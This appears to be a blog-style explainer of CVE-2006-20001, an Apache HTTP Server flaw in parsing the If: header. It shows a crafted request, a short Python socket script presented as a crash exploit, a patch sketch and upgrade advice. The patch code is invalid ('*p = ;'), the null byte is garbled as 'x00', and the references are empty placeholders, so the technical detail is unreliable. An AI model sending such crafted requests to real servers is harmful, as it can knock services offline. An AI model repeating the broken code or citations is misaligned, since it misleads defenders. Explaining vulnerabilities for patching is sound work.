If you’re running Apache HTTP Server 2.4.54 or earlier, you need to know about CVE-2006-20001. This vulnerability might seem obscure, but it’s surprisingly easy to trigger and could cause your web server to crash. This long read will walk you through what CVE-2006-20001 is, show some code snippets for better understanding, provide links to original references, and even detail how it could be exploited.

What is CVE-2006-20001?

CVE-2006-20001 is a security flaw in the Apache HTTP Server related to how it handles the If: request header. A specially crafted If: header can make the Apache server read or write a single, zero byte (x00) into the heap memory just past the header’s expected value. While this might not sound explosive, it can crash your Apache process—or even open the door to more severe security issues depending on your setup.

Summary:  
A malicious user can send a crafted If: HTTP header to Apache HTTP Server 2.4.54 and earlier which may cause heap memory corruption and server crashes.

Why Does It Happen?

The bug lies in how Apache processes the If: header, which is mainly used for resource locking and conditional requests (that’s webDAV territory). If the server doesn’t properly check the lengths and boundaries when handling this header, it can write a x00 byte right outside the header’s buffer in memory.

In simple terms:  
Think of a list with 10 items. If you try to put something in the 11th spot, you risk breaking the system. That’s what happens here—the server tries to write just past the end of its list.

The If: header is carefully crafted with just the right length and content.

- Apache tries to parse it, accidentally writing a zero byte right after the intended boundary in heap memory.

Here’s what a dangerous request might look like

GET /somefile HTTP/1.1
Host: target-server.com
If: (Not <urn:uuid:12345678-1234-1234-1234-123456789ab>)

The actual header line may need to be carefully sized based on the underlying Apache memory allocation, but this shows the kind of headers used to target the bug.

A Simple Python Exploit Script

Below is a demonstration script in Python. Warning: Only use in controlled environments!

import socket

target_host = "localhost"
target_port = 80

malicious_if_header = "If: (Not <urn:uuid:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA>)"

request = f"GET / HTTP/1.1\r\nHost: {target_host}\r\n{malicious_if_header}\r\n\r\n"

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((target_host, target_port))
    s.send(request.encode())
    response = s.recv(4096)
    print(response.decode(errors="replace"))

Depending on the environment, this might crash the Apache process and reset the connection.

Real-World Impact

In most default setups, this leads to a simple crash, which restarts the Apache process. However, in busy environments or where memory bugs can be chained, there’s potential for more dangerous exploitation like information leaks or further heap corruption.

Denial of Service (DoS): Server can be forced to crash repeatedly.

- Potential Code Execution: If chained with other vulnerabilities, there’s a (theoretical) risk of code execution.

Security References

- Apache Security Advisory
- CVE Record at NIST
- Original Patch Discussion  

If you want to go deep, check out the Apache Bugzilla ticket, which walks through the technical details and how it was fixed.

How Was It Fixed?

The Apache project patched this issue in later versions by adding bounds checks to the logic handling the If: header, making sure no memory is accessed or modified beyond the end of allocated space.

Sample Patch (simplified)

/* Before */
if (condition) {
    *p = ;
}

/* After patch */
if (p < end_of_buffer && condition) {
    *p = ;
}

What Should You Do?

1. Upgrade!  
Ensure your server is running the latest version of Apache HTTP Server. Any version after 2.4.54 should be safe from this bug.

2. Limit methods with If: headers:  
If you don’t use WebDAV, consider disabling it or limiting access.

3. Monitor your logs:  
If you see weird crashes or If: header mentions in your request logs, someone might be poking at your server.

TL;DR

- CVE-2006-20001 allows attackers to crash Apache HTTP Server 2.4.54 and earlier by sending a tricky If: header.

Fix: Upgrade Apache!

- References: 1, 2, 3.

Stay safe, keep your software up-to-date, and remember that tiny memory bugs matter!

Timeline

Published on: 01/17/2023 20:15:00 UTC
Last modified on: 01/25/2023 01:51:00 UTC